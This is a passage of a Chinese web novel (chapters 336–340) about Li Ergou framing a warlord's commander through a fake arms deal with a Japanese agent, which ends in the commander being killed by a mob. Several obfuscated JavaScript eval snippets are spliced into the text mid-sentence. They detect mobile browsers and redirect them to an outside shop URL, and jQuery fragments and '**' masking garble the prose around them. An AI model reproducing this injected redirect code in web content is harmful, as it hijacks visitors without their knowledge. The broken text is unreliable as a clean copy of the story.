两人来到屋里,吴有德抽出一支雪茄。 “要不要来一支?” “我不习惯抽这个。” 李二狗边说边拿起茶几上的打火机给吴有德点燃手里的雪茄。 吴有德深深地吸了一口,方才缓缓问道:“什么事?说吧。” “干爹,我们县保安团团长熊顶天是汤司令的心腹,此人心狠手辣、无恶不作,才回到江东没几天就和孙竹刚矛盾极深,而且他还想置我于死地,所以我想除了他。” 听到熊顶天是汤司令的手下,吴有德就知道不是什么好鸟。 汤司令本来是东北军的一名悍将,有一定军事才能,他手下的部队也是一支战斗力很强的部队。 但他前几年为了搞到军费,亲自指导农民种植**,从中大获其利,几年时间下来积累了不少钱财。 然而自从种了**之后,汤司令手下的虎狼之师变成了双枪兵,一手**一手烟枪,战斗大大减弱,只会欺压、吓唬百姓而已,不仅士兵蜕变,汤司令本人也变得只会捞钱,不择手段地捞钱。 民国十九年,汤司令不顾众人劝阻,一意孤行,坚持率兵偷挖了内蒙古巴林左旗白塔子王坟沟里辽圣宗、辽光宗、辽道宗三个皇陵,出土了大量罕见的辽代文物,件件都称得上是稀世之宝。 这些文物全都成了他的私产,此举也让汤司令的名声越来越臭。 吴有德徐徐吐出口中的烟雾,问道:“你想怎么除了他?是不是已经有了主意?” 李二狗便把自己的计划告诉了吴有德。 “二狗,你怎么和井伊商社的人搞在了一起?那个酒井空可不是什么善茬,早年我和她有过接触,别看她貌美如花,长得一副人畜无害的面孔,其实内心比蛇蝎还毒,十有**是日本政府派到中国的特务,你可不要被她的美貌迷惑了。” 看吴有德的表情,李二狗知道他肯定怀疑自己和酒井空有不可告人的关系。 事实上,李二狗和酒井空之间确实有非同寻常的关系,但他肯定不能承认,尤其是在吴有德面前。 “干爹,我和她之间只是一些生意上的往来,并不是您想得那种关系。” “生意上的往来?呵呵。”吴有德只觉得这句话非常耳熟,是他以前和日本人合作时嘴上的说辞,没想到却被李二狗拿来搪塞自己,“二狗,你拿这种鬼话来搪塞我,当干爹是三岁小孩吗?” 李二狗因为心里有鬼,便不想和吴有德过多地交缠他和酒井空究竟是什么关系,因为这对除掉熊顶天并没有什么影响。 “干爹,我和她真的没有什么,她之所以答应我,是因为我以前帮她办过一件事,她只是在还我的人情罢了。” 吴有德看李二狗不想说,便不再多问,毕竟不是自己的亲儿子,管多了反而不好。 “二狗,我不管你们是到底是什么关系,但你一定要提高警惕,日本人都鬼精鬼精的,和他们打交道一定要多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145995|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 留个心眼,否则就容易掉进他们给你设的陷阱里。” “放心吧,干爹,我知道深浅。还有……” 看李二狗欲言又止,吴有德主动说道:“放心吧,这事我不会告诉静雯。” 李二狗嘿嘿一笑:“谢谢干爹,那我就让熊团长晚上过来?你给他吃颗定心丸。” “好,你让他来吧。” 李二狗回到百乐门大舞厅时,熊顶天正玩得兴起。 李师师撇了撇嘴,抱怨道:“你这个大哥可真是一头驴,这都第八个姑娘了,还意犹未尽呢!” “怎么?羡慕了?哈哈。” “滚犊子!老娘是那种女人吗?” 李二狗反问道:“那你是哪种女人? 李师师故意挺了挺丰满的胸脯,贴到李二狗身前,挑衅地说道:“我是哪种女人,你试试不就知道了?” “我倒是想试试,就怕你不敢!”李二狗不甘示弱地说道。 李师师见多识广,岂是轻易被唬住的女人。 “哼!有种你现在就跟我上楼!” “二狗,你什么时候来的?” 背后突然传来静雯的声音,吓得李师师赶紧往后退了两步。 李二狗觉得好笑,故意给了她一个挑衅的眼神。 李师师不敢再和李二狗调情,她的命运掌握在静雯手里,她可不想因此失去这份工作。 “静雯姐,你们聊,我先去招呼客人。” 李师师说完便扭动着纤细的腰肢走开了,那圆圆的屁股确实有料。 静雯刚才在门口看到李师师贴在李二狗身上,靠近李二狗的时候她便狠狠地掐了一下他的腰。 “我在晚来一会,你是不是就和她上去了?” 李二狗痛得倒吸一口凉气,故意笑道:“李经理确实非常热情。” 静雯又深深地掐了他一下,威胁道:“你要敢,我就骟了你。” “嘿嘿,骟了我,吃亏的是你自己。” “你……臭流氓!跟我上楼!” 李二狗只感觉腿肚子有些发软,这一天,他也成驴了! 第336章 规矩我们都懂 晚上七点,李二狗带着熊顶天来到吴公馆。 熊顶天自以为见过世面,当他看到吴公馆内部的奢华时还是震惊不已。 不愧是省城吴爷,绝非一般人可比。 “干爹,这就是我白天给您提过的我的好大哥,江东县保安团团长熊顶天。” “熊团长,久仰大名啊。”吴有德主动伸出手。 熊顶天没想到吴有德如此没有架子。 “吴爷,您的大名如雷贯耳,能见到您,我真是三生有幸,您可千万别叫我什么熊团长,在您面前我就一小兵蛋子,您叫我小熊就好。” “哈哈,小熊,你是二狗的大哥,到了这里就和在家里一样,千万别拘束,请坐。” 熊顶天心想,吴有德虽然已退出政坛多年,但在政府和军队中,很多官员都是他的旧部,如果能攀上吴有德这棵大树,以后当个师长、军长也是指日可待。 与吴有德这棵大树相比,什么汤司令,简直狗屁不是。 “干爹,我大哥想通过您购买一批**,您给联系好了吗?” 吴有德故意问道:“二狗啊,今天白天有些匆忙,你没有和我说清楚,熊团长是保安团团长,武器装备自有上级调拨,怎么还要自己购买**?黑市购买**可不便宜啊!” 熊顶天尴尬地笑着,不知道该如何解释。 李二狗说道:“干爹,您有所不知,现在上级调拨给保安团的**还是一些老掉牙的老套筒,膛线都磨平了,根本没有什么战斗力,所以大哥想自己出钱,购买一批新式武器,以此来提高保安团的战斗力。” 吴有德忍不住竖起大拇指。 “小熊,没想到你竟有如此格局,实在是令老夫佩服啊!哎,不过你们汤司令贩卖**,挣了那么多不义之财,竟然还给你们配发如此低劣的武器,实在是令人心寒呐。” 汤司令虽然抠门,但还不至于给自己的部队配发老套筒,为什么要**,熊顶天心知肚明。 “还得感谢吴爷从中牵线搭桥,我们保安团才能买到新式武器。” “我不过是举手之劳罢了,你放心,我和那边已经说好了,崭新的新式汉阳造,只需要六十块大洋一支,每支**再额外赠送十发**。” 熊顶天听后激动不已,六十块大洋一支,四百支**只需要二万四千块大洋,自己带的大洋就已经够用了。 看着李二狗的微笑,熊顶天突然意识到,如果是这个价格的话,李二狗答应的五千块大洋肯定就不会给了。 这个李二狗可真鸡贼,他肯定知道吴有德会给优惠。 “吴爷,真是太感谢您了。” “四百支枪,数量比较大,我建议你们还是亲自去和卖家谈一谈,检验一下枪的成色。” 李二狗说道:“干爹,这事您就交给我们去办吧,您就不要亲自出马了。” “那好,桌上有电话号码,你去打个电话,看看他们明天什么时间合适,亲自去谈一谈,万一不合适,我再给你们联系其他卖家。” 李二狗拿起桌上的电话号码,刚要打,吴有德抬手说道:“二狗,等一下。” 李二狗急忙把电话扣上,问道:“怎么了,干爹?” “二狗,我不说你们也知道,手里能有这么多**,肯定不是寻常卖家,你们一定要约个僻静的地方谈,记住,人家要是不主动说,千万不要打探人家的底细,免得惹人怀疑。” 李二狗笑道:“干爹,您就放心吧,规矩我们都懂,肯定不会让您这个中间人为难。” 吴有德笑了几声,示意李二狗去打电话。 李二狗把电话打到井伊商社酒井空办公室。 “请问是梅小姐吗?” 电话那头的酒井空忍住笑,一本正经地说道:“我是,请问您是哪位?” “梅小姐您好,我是吴有德吴爷介绍的买家,想明天和您约个时间,看看货的成色,不知道您明天什么时间有空?” 酒井空故意思考了片刻,说道:“那就明天上午十点,中山大街999号的海岩日本料理店见吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150855|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 三号包厢。” “海岩日本料理店,三号包厢。”李二狗故意重复了一遍,“那好,梅小姐,明天见。” 李二狗挂断电话,说道:“对方定的明天上午十点,海岩日本料理店。” 吴有德若有所思地说道:“看来是我多虑了,对方很谨慎,约在一家日本料理店,那里人少也比较清静,不用担心被人打扰。” 经过吴有德这一番解释,熊顶天便彻底放下心来。 “吴爷,时间也不早了,我就不打扰了,改日再登门拜谢。” “小熊,要不然就在这里住下吧。” “我已经在酒店开好房间,就不叨扰吴爷了,吴爷,您请留步。” “二狗,送一送小熊。” 两人出了吴公馆。 熊顶天说道:“没想到吴爷如此平易近人,就像我邻居家的二大爷一样和蔼,二狗兄弟,你有这样一个干爹,还在江东那个小地方混什么?换作我,早来省城了。” 李二狗笑道:“吴爷现在年富力强,我准备过几年再来省城**。” 熊顶天完全无法理解李二狗的所作所为,同时他也彻底打消了对李二狗身份的怀疑。 这样的人怎么可能是土匪头子! 也许是因为江东人口音都重,说起话来都有几分相似。 “二狗兄弟真是有福之人啊,以后发达了可别忘了哥哥。” “不会不会,咱们是兄弟嘛!熊哥晚上住哪?要不然再去百乐门耍一耍?” 熊顶天笑着摆了摆手,此时他的大腿走起路来还有些打晃。 “省城的姑娘太热情奔放,我都有点招架不住了,还是回酒店休息吧。我就住在离这里不远的皇朝大酒店,你快回去吧,明天早上十点,咱们直接在海岩日本料理店门口见。” “那熊哥早点休息,明天见。” 两人分别后,李二狗回到吴公馆。 刚进门便看到静雯正站在楼前一脸笑意地看着他,李二狗忍不住浑身一哆嗦。 又是一个春风沉醉的晚上。 第337章 宁愿和她搂一搂,不愿意和其他女人睡一宿 第二天上午九点五十分,熊顶天和李二狗几乎同时到达海岩日本料理店。 “熊哥,昨晚休息得挺好吧?” “我还好,二狗兄弟没闲着吧?哈哈。” 两人说笑间已来到三号包厢。 酒井空正跪坐在座位上,熊顶天一时惊为天人。 她身穿一身华美的和服,神情清冷,衣饰细节与姿态共同传递出传统日本贵族女性的端庄与疏离感。 见有来人,她轻启丹唇,问道:“两位先生是吴爷介绍的买家吗?” 熊顶天把李二狗拉到一边,低声问道:“二狗兄弟,怎么是个日本女人?” 李二狗看了一眼酒井空,真怕她当场笑出声来。 “咱们是**,管她是什么人干什么?说不定日本人卖的枪更实惠呢,你说对不对?咱们先听听她怎么说再做决定不迟。” 两人便坐在酒井空对面。 李二狗问道:“您就是梅小姐?没想到您竟是日本人。” 酒井空捂嘴轻笑道:“让两位先生见笑了,其实我并不是日本人,只是热爱日本的服饰罢了。” “原来是这样,”李二狗和熊顶天对视一眼,“我们还担心您是日本人,哈哈。” “我是什么人并不重要,重要的是你们要枪我要钱,咱们各取所需,如此而已。” 熊顶天还从未见过像酒井空这样清奇的女子,很对他的胃口。 李二狗有些歉意地说道:“你们先谈,我去一趟洗手间。” 李二狗向酒井空微微致意,然后便起身走了出去。 李二狗故意没关门,熊顶天十分警惕,他急忙起身把门关上。 **的是,对面包厢的房门开了一条缝,李二狗安排的一名专业摄影师,正对着三号包厢一阵狂拍。 “不知道梅小姐有没有带样品来?” 酒井空微微一笑,说道:“稍等。” 她起身对着身后的墙壁敲了三下,然后又坐回座位,显得十分端庄。 片刻之后便响起了敲门声。 “请进。” 一个男人推开房门,把一个长长的木头箱子放在桌子上,然后掀开盖子,里面竟是崭新的三八大盖! 熊顶天激动地拿起一把,熟练地拉动了几下**,不由得发出感叹,真是一把好枪。 “梅小姐,我们订的是汉阳造**,您这可是三八大盖啊。” 酒井空依然是一副宠辱不惊的端庄范。 “不好意思,汉阳造没有了,只剩下三八大盖,先生不喜欢这枪吗?这可比汉阳造强多了。” 熊顶天当然喜欢三八大盖,可三八大盖的价格可是汉阳造的两倍不止,他怎么买得起?! “我当然喜欢,只是价格上……” “先生请放心,既然您是吴爷介绍的,我们肯定不能不给吴爷一个面子,价格就和汉阳造一样,六十块大洋一支,您看这样可以吗?” 熊顶天激动地想要扑上去狂吻酒井空,这个女人真是可爱至极。 “真的吗?”他简直不敢相信,“小姐,您不会是在拿我打镲吧?” “嘻嘻,小女子一言,驷马难追!” 熊顶天开心极了,他拿起三八大盖,爱不释手。 这时,门被推开了,李二狗站在门口一侧故意不进去。 对面包厢又是一顿狂拍。 “二狗兄弟,快进来关上门,你看这枪,实在是太棒了。” 李二狗这才关上门走了进去。 “这不是日本造的三八大盖吗?我听说这枪在黑市上至少得二百块大洋一支。” 熊顶天沉浸在兴奋之中。 “兄弟,你试试这枪怎么样?”说着便把一支**扔给李二狗。 李二狗接过枪,又是拉动**又是仔细查看**。 “真是一把好枪啊,汉阳造和它比起来就和烧火棍差不多。” 熊顶天兴奋得满面红光。 “兄弟,你猜猜这枪多少钱?” 李二狗沉思片刻,谨慎地问道:“二百?” “哈哈哈,”熊顶天忍不住大笑起来,“六十块大洋,简直太值了!咱们真的好好感谢吴爷。” “不会吧?”李二狗夸张的样子差点把酒井空逗笑,“我们应该感谢这位端庄美丽的梅小姐才对。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150856|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >“对,对,感谢梅小姐。” 酒井空抿着嘴,就像一朵暮色中独自开放的百合花。 “先生如果觉得价格合适,咱们就定下来,四百支**,外加额外赠送的四千发**,一共二万四千块大洋。” “好,成交。”熊顶天迫不及待地答应下来。 “那咱们就先小人后君子,先生先付二万块大洋,我安排人亲自送到你们指定的地点,你们收到货之后再付剩下的尾款四千块大洋,先生觉得怎么样?” 李二狗故意问道:“先付二万块大洋是不是有点多?” 酒井空笑道:“先生是不相信我吗?还是不相信吴爷?和你们说实话,这笔生意完全是看在吴爷的面子上,我基本上没挣你们的钱,如果先生觉得不合适,可以再去别家打听打听。” 熊顶天怕酒井空生气,便埋怨道:“二狗兄弟,梅小姐既然这么仗义,咱们就不要这么斤斤计较了嘛。” 他从兜里掏出两万块大洋的汇票,放到酒井空面前。 “请梅小姐尽快把货送到江东县保安团。” 酒井空拿起汇票,检查了一下真伪,然后放到自己手边的一个小坤包里。 “先生放心,下午我就安排人亲自把枪给你们送过去。” 李二狗提议道:“和梅小姐合作真是愉快,咱们是不是喝点酒庆祝庆祝?” “好啊,我要敬梅小姐一杯。” 酒井空依然保持着恰到好处的笑容。 “酒我已安排好。我也很荣幸与两位先生合作,希望我们以后还有合作的机会。” “当然,当然。” 熊顶天眼睛直勾勾地盯着酒井空,如果可以,他宁愿和她搂一搂,也不愿意和其他女人睡一宿。 酒井空轻轻起身,然后轻轻敲了敲后面的墙壁,很快便进来一个端着托盘的女子。 她把四个小菜和一瓶清酒放在桌上,然后躬身退了出去。 李二狗拿起清酒,把三人面前的酒杯倒满。 “来,我们共同敬梅小姐一杯,祝我们合作愉快!” 三个人碰了一下杯,一饮而尽。 第338章 熊顶天签署**条约 两杯小酒下肚,酒井空一张俏脸微红,眼神荡漾,更显东洋女人的妩媚。 熊顶天一双鼠眼直勾勾盯着酒井空半露的胸脯,哈喇子几乎要流到脚面上。 李二狗再次把三人的酒杯倒满,熊顶天迫不及待地端起酒杯。 他还未来得及说话,李二狗却捂着自己的肚子,表情显得很痛苦。 “我这肚子真是不争气,我再去趟洗手间,你们先喝。” 李二狗推开门急急慌慌跑了出去,连门都没来得及关。 “这个人真是怕夹着自己尾巴,每次都不关门。” 熊顶天说着就要起身去关门,酒井空娇滴滴地说道:“先生先不要急着关门嘛,咱们先干了这杯。” 熊顶天哪受得了酒井空这种令人头皮发麻的嗲声,端起酒杯就和她碰了一下,然后一饮而尽。 这一切都被对面包厢里的摄像师拍了下来。 在酒井空娇媚的攻势下,熊顶天来者不拒,很快就喝得晕晕乎乎。 酒井空拿出一张纸,轻移莲步,走到熊顶天身旁,熊顶天感觉空气中都弥漫着一股荷尔蒙的气息。 她把手轻轻地搭在熊顶天的肩膀上,熊顶天身体一阵颤栗,差一点大小便失禁。 “先生,刚才只顾着喝酒,把正事反倒忘了,这么大的生意,咱们还是应该签个合同,我回去也好有个交代,您说是不是?” 熊顶天只觉得脑瓜子嗡嗡的,酒井空说什么他都只顾着点头。 酒井空把手中的纸放在桌子上,熊顶天刚想拿起来看一看,酒井空的一只玉手已经压在他的手背上。 “这只不过是走个形式罢了,先生难道不相信人家吗?” 熊顶天急忙解释道:“当然不是,梅小姐别误会,我只是……” 酒井空媚眼如丝,另一只手从兜里掏出一支钢笔,把笔帽含在嘴里,用洁白的牙齿咬住,手指轻轻转动几下,取下笔帽,然后轻轻地吐在地上。 “先生用这支笔签上您的名字可好?” 熊顶天只觉得天灵盖被人掀了起来,哪还顾得上看合同! 他颤抖地接过钢笔,“唰唰唰”签上了自己的大名。 “先生的字可真是龙飞凤舞,人家很喜欢。” 酒井空立马把合同收起来装进兜里,熊顶天咧着一张大嘴傻笑。 “梅小姐,咱们不如……” 熊顶天说着,一双大手伸向酒井空。 酒井空轻轻地拍打了一下熊顶天的手背,娇嗔道:“先生是等不及了吗?” 熊顶天仿佛受到了鼓励一般,再次把肮脏的大手伸向酒井空。 酒井空嬉笑着躲开了。 熊顶天想要追逐时,李二狗推门走了进来。 “这……我好像是错过了什么?” 酒井空慌忙整理了一下衣领,笑道:“先生去了这么久,当然错过了很多。嘻嘻,先生得自罚三杯才是。” “对对对,二狗兄弟,你必须自罚三杯。” “别说三杯,就是三十杯我也来者不拒。” 三人你敬我,我敬你,玩得不亦乐乎。 散场后,酒井空飘然而去,只留下熊顶天吐得一地污秽之物忆佳人。 “熊哥,我扶你回去休息吧。” 熊顶天此时尚未缓过劲来。 “二狗兄弟,这个女人……她不是人!” 李二狗苦笑道:“熊哥,你这是喝糊涂了吧?她不是人难道还是妖精不成?” “她是九天仙女下凡尘。” 李二狗真想一脚把这个熊玩意踢到沟里。 第二天,《黄河早报》头版头条刊登了一条重磅新闻:与日方签订密约,汤司令**有据。派遣心腹爱将熊顶天与日本人达成秘密协议。 新闻中配发了几幅熊顶天和一个身穿和服的日本女人碰杯、现场进行交易的照片,同时签署的秘密协议照片及其主要内容也被公之于众。 秘密协议的主要内容是: 一、“日本与华北两省缔结防共协定”,“承认日军为防共驻兵,以华北两省为特殊防共地区”; 二、“华北两省承认满洲国”; 三、“华北两省承认日本人在华北两省本土有居住、营业之自由。”; 四、“承认日本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155986|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 优先权,特别是关于华北两省资源之开发、利用,为日本提供特殊的方便”; 五、“华北两省应补偿因反日而造成在华北两省日本侨民所受之损失”; 六、“本协定规定以外的日本军队,于两国恢复和平后,立即开始撤退”。 协议上签署的是熊顶天龙飞凤舞的大名。 新闻一经刊发,顿时引发民众**的浪潮。 民众要求惩治**贼,**汤司令。 “熊哥,熊哥,不好了。” 李二狗拿着报纸跑进熊顶天所住的酒店房间。 熊顶天此时还未完全醒酒,脑袋昏昏沉沉。 “兄弟,什么事如此慌慌张张?天没塌下来嘛!” “熊哥,出大事了,你快看报纸。” 熊顶天笑着接过报纸,刚读完标题,笑容凝固在脸上。 “兄弟,这……这到底是怎么一回事?” “熊哥,咱们被人利用了。” “她不是吴爷介绍的吗?怎么会这样?” “**爹也被人利用了,这都是日本人的阴谋诡计,他们想置汤司令于死地。” 熊顶天的酒此时已完全醒了,汤司令死不死不好说,他的这条小命怕是保不住了。 “兄弟,现在怎么办?汤司令肯定不会放过我的。” “熊哥,你听,现在外边全是**的人群,你要是现在出去,恐怕会被他们活活打死!” “那得快点想想办法啊。” “熊哥,我给你带来一身工人的衣服,你先换上,还是先离开省城再说。” 熊顶天顾不得多想,赶紧换上李二狗带来的衣服。 “为了安全起见,咱们分开走,我先走,出去看看情况,你稍后再走,咱们在城东的土地庙汇合。” “好好好,一会见。” 李二狗离开后,熊顶天便鬼鬼祟祟地从酒店走了出来。 他刚出酒店的大门,不知道谁大喊了一声。 “他就是**贼熊顶天,打死他!” 从巷子里窜出几个手持木棍的男子,对着熊顶天就是一顿毒打,竟活活把他打**! 第339章 我要去一趟鄂豫皖 南京国民政府、华北两省政府纷纷向日本驻华使馆提出严正**,谴责他们私下和**官员签署不平等协议。 但照片中身穿和服的日本女子被进行了模糊处理,根本看不清到底是谁。 日本政府和驻华使馆坚决否认参与此事。 但国内民众的反日浪潮已经掀起,并很快形成燎原之势。 民众强烈要求废除不平等条约,**汤司令,继而又喊出收回东三省,把日本人赶出中国等口号。 冯大帅在南京国民政府和民众的巨大压力之下,解除了汤司令的兵权。 南京国民政府趁机调派一个集团军的**到华北长城一线,冯大帅在华北五省的势力范围被大大缩减。 李二狗做梦也没想到,自己的一个小小阴谋竟然改变了华北五省的态势。 “二狗,你小子一不小心改写了历史啊。”吴有德玩笑道。 冯大帅长期把持华北五省的军事大权,对南京中央政府的指令阳奉阴违,并私下和日本人勾结,意图效仿东三省,实现华北自治,吴有德早就对他恨之入骨。 事态的发展远远超出了李二狗的认知。 “干爹,我也没想到会是这样,你说现在这种情况到底是好还是坏?” 吴有德当年之所以退出政坛,正是因为对南京中央政府极度失望。 东北易帜之后,东三省已经在南京中央政府的掌控之下,但还是一枪没放就被日本人窃取了东三省。 吴有德对南京中央政府本身不报什么期望,但与冯大帅相比,南京中央政府毕竟是代表中国的合法政府,他们掌控华北五省,终归是比军阀割据更有利于中国的发展。 至少他们不会明目张胆地和日本人签订**条约。 “二狗,政府的事情咱们干涉不了,还是先静观其变吧。不过经过你这么一闹,夏主席今后在省内的日子会好过不少,你要多和他走动走动,明白我的意思吧?” 李二狗心领神会,笑道:“干爹,还是您老谋深算啊,儿子我佩服之至。” “你小子,这次还回江东吗?我看你就留在省城帮干爹吧。” 胡家大院和三个山寨的未来都掌握在李二狗手中。 加上这次汤司令被解除兵权,熊顶天**,江东保安团已经是孙竹刚的囊中之物。 李二狗此时真得无法离开江东。 “干爹,您老现在年富力强,又有静雯在身旁协助,我可不想来省城坐享其成,还是再等等吧,等我处理完江东的事情就来省城孝敬您。” 吴有德作为省城的风云人物,肯定不是浪得虚名,李二狗一直以各种理由留在江东,不肯来省城,怎能不引起吴有德的怀疑。 他早已暗中派人把李二狗的底细摸得一清二楚。 调查结果虽然让吴有德大吃一惊,但也侧面证明李二狗的能力和为人,吴有德自信自己没有看错人。 “二狗,记住干爹的话,成大事者不拘小节,但一定不能做一个无情无义之人。” 李二狗不明白吴有德为什么要和自己说这些,但这句话本身正是自己一直在坚持的。 “干爹,我记住了,我一定不会让您失望的。” 自从这次李二狗来到省城之后就是一副心事重重的样子,吴有德以为是因为熊顶天的事情,现在熊顶天的事情已经解决了,但李二狗的眉头还是紧锁。 “二狗,你是不是有什么心事?和干爹说一说,也许我能帮上你。” 李二狗微微一怔,没想到自己的心事竟被吴有德看了出来。 他本来就有向吴有德请教请教的想法,便说道:“也不是什么心事,就是最近这段时间内心有些迷茫。” “迷茫?”吴有德没想到李二狗还是一个有思想的青年,“你具体说说。” 李二狗整理了一下思绪,说道:“干爹,最近有一个问题,一直萦绕在我心头,你说咱们这样活着,到底是为了什么?” 李二狗看似简单的一个问题,却让吴有德犯了难。 他曾经也是一名热血青年,跟着先总理推翻满清统治, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155987|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 建立了**,可现在民众的日子却还不如满清统治的时候,那时候至少不会像现在这样天天打仗。 他正是因为失望才退出政坛,可这些年来,他到底是为了什么活着,好像还真没有认真地想过,也许活着只是因为活着,并没有什么特别的目的。 他没有直接回答李二狗的问题,因为**该怎么回答,而是反问道:“二狗,到底是什么触动了你?” 李二狗抿着嘴,缓缓说道:“有些兄弟抛家舍业跟着我,也许他们只是想填饱肚子,可我却害他们丢掉了性命,难道我们的日子就只能这样吗?我们的子子孙孙就只能一直这样活下去吗?我觉得自己无论怎么努力,都看不到任何希望,那我们努力的意义又在哪里?” 吴有德再次对李二狗刮目相看。 “二狗,干爹果然没有看错人,你确实有异于常人的地方,但你的这个困惑,干爹没法给你答案,因为干爹自己都活在迷惘之中。” 吴有德都解答不了的问题,李二狗更加迷茫了。 “不过干爹可以给你一个建议。” 李二狗急忙问道:“什么建议?” “等你有机会,可以去鄂豫皖那边去看一看。” “鄂豫皖?” “听说过红军吗?” 李二狗想起了李云龙,当年他就是因为参加红军而离开的省城。 “听说过,听说他们是一群由农民组成的队伍,打土豪分土地,深受贫苦百姓的爱戴。” “你说的对,鄂豫皖就是他们红军建立的一块规模庞大的根据地,他们在那里建立了几十个**政权。” 李二狗陷入沉思,红军,这对他来说是一个熟悉而又陌生的名字。 吴有德了解过**党的**主张和他们的**纲领,他认为相比于**,**党无论是在**性还是斗争性上都比**更加彻底、更加纯粹。 他隐约觉得只有**党才能带领中国走出泥潭,拯救黎民百姓于水火之中。 “干爹,我要去一趟鄂豫皖。” 第340章 我有好东西给你吃 吴有德没想到李二狗这么快就作出决定,他反而有些担心。 “二狗,你要决定去的话,一定要注意安全。” “干爹,放心吧,等我回江东安排安排再去。” 吴有德有点后悔建议李二狗去鄂豫皖,他一直把李二狗当做自己的**人来培养,如果他真得投身**,那自己岂不是后继无人? “二狗啊,我看你还是等等再去吧,最近老蒋正在调集大批人马准备围剿南方红军根据地,你现在过去太危险了。” 李二狗以为这是吴有德在故意吓唬自己,便笑呵呵地说道:“干爹,我现在不去,等有合适的机会再去。” “那就好,那就好。” 吴有德这才放下心来。 从吴公馆出来,李二狗准备去一趟井伊商社。 酒井空帮了自己这么大的一个忙,他必须去感谢一下她。 李二狗去百货大楼购买了一支“丹祺牌”口红,然后才来到井伊商社。 不空手去拜访,尤其对方是异性,这是李二狗给自己定的规矩! 见到酒井空,李二狗敏锐地发觉她精神有点恍惚,并没有以前见到自己时的那种兴奋劲。 “空儿,送你一支口红,感觉这个颜色特别适合你。” 酒井空脸上挤出一丝笑容,说道:“谢谢你,我很喜欢。” “你怎么了?有心事?” 酒井空轻轻地叹息一声,摇了摇头。 “没事,我只是感觉有些累。” “是因为昨晚喝多酒的缘故吗?都怪我,不该让你喝那么酒。” 酒井空只是微微一笑,并没有说什么。 两人沉默了一会儿,气氛一时有些尴尬。 酒井空说道:“二狗,我要去满洲了,也许以后我们再也不能见面了。” 李二狗心里突然“咯噔”一下。 “怎么走得这么着急?你刚来这里没多久。” 提供给《黄河早报》的照片上,酒井空的脸部做了特别的模糊处理,一般人根本认不出她,但还是被日本驻华北的**——木村机关的特务长土肥圆贤三发现了。 土肥圆贤三一直在物色合适的女特务人员,而酒井空各方面的条件正符合他的要求。 其实在酒井空来中国之前,已经接受过一些间谍训练,但她并不属于任何一个**,她内心十分排斥当特务。 土肥圆贤三拿此事要挟酒井空,很可能会牵扯到井伊商社,尤其是关系着李二狗的安危,万般无奈之下,她只能答应土肥圆贤三的要求。 土肥圆贤三决定将她送到东三省,接受关东军**的严格训练。 但此事她不敢告诉李二狗,也不能告诉他。 告诉他就是害了他,更何况以李二狗的脾气秉性,他绝对不会和一个日本女特务有瓜葛。 “井伊商社在满洲国新建了一个分社,那里紧缺人手,总社便把我调了过去。” 李二狗很伤感,她对酒井空有一种特别的感觉。 总以为和她在一起是因为风月,可如今听到她要离开,内心却隐隐有一丝悲伤。 “有缘自会再见,空儿,你多保重。” “狗儿,能再多陪我一会儿吗?” 面对她的要求,李二狗实在不忍心拒绝。 在省城忙活了三天,李二狗回到江东县。 不出所料,孙竹刚已经全面接手县保安团。 “大哥,恭喜你啊,以后在江东可以大展拳脚了。” 孙竹刚苦笑道:“哎,大展什么拳脚啊,保安团要人没人要枪没枪,我就是光杆司令一个。” 